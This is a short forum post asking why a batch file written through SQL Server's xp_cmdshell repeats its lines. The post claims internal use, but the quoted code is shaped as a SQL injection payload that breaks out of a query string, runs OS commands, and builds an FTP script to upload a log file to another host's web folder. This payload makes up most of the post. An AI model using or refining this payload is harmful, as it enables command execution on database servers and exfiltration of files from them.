SQL master..xp_cmdshell *please help*

photexphotex Member Posts: 25 ■□□□□□□□□□
Question,

I use our sql server to execute commands with master..xp_cmdshell.
Its only for intern use, the server does not have an internet connection.
But when I try to create a batch file with te following code, it adds als the lines 5 times.

*CODE*
'); declare @fpt varchar(8000); set @ftp= '
>ftp.bat echo @ftp -i -s:"%~f0"&GOTO:EOF&&
>>ftp.bat echo open 172.27.1.212&&
>>ftp.bat echo admin&&
>>ftp.bat echo ******&&
>>ftp.bat echo cd htdocs&&
>>ftp.bat echo binary&&
>>ftp.bat echo mput "agp_sys.log"&&
>>ftp.bat echo disconnect&&
>>ftp.bat echo bye&&
ftp.bat'; EXEC master..xp_cmdshell @ftp--
*end*

This results in a file ftp.bat filled with:
@ftp -i -s:"%~f0"&GOTO:EOF
@ftp -i -s:"%~f0"&GOTO:EOF
@ftp -i -s:"%~f0"&GOTO:EOF
@ftp -i -s:"%~f0"&GOTO:EOF
ftp.bat echo open 172.27.1.212
ftp.bat echo open 172.27.1.212
ftp.bat echo open 172.27.1.212
ftp.bat echo open 172.27.1.212

and so on.

Does anyone know why it adds all lines 4 times???
Sign In or Register to comment.